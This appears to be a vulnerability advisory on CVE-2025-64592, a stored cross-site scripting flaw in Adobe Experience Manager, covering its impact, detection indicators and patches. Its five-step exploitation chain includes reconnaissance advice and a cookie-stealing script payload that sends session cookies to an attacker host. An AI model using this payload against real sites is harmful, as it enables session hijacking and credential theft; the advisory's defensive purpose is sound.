CVE-2025-64592: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64592 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. The vulnerability affects AEM versions 6.5.23 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.12.0. It was published on December 9, 2025, as part of Adobe's APSB25-115 security advisory. The CVSS v3.1 base score is 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then stored and later executed in the browser of any user who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with the attack vector being network-accessible. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute malicious JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The confidentiality and integrity impacts are both rated low, with no direct availability impact. In environments where AEM manages sensitive content or is integrated with other enterprise systems, stored XSS can serve as a stepping stone for broader attacks such as phishing or privilege escalation (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running versions 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Identify vulnerable form fields: Navigate AEM's authoring interface to locate form fields that do not properly sanitize user input before storing and rendering content.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: When a target user (e.g., an administrator or another author) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further exploitation (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• File System: Unexpected or modified AEM content nodes containing embedded <script> tags or JavaScript URIs in stored page content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing AEM-authored pages, potentially indicating cookie or credential exfiltration.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations triggered by injected scripts.

Adobe has released patches addressing CVE-2025-64592 in AEM 6.5.24.0 (on-premise) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restrict authoring access to trusted users only and implement a strict Content Security Policy (CSP) to limit the impact of any injected scripts. Regularly audit AEM content for unexpected script injections (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including those addressed in APSB25-115, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or social media discussion specific to CVE-2025-64592 has been identified beyond standard vulnerability database aggregation.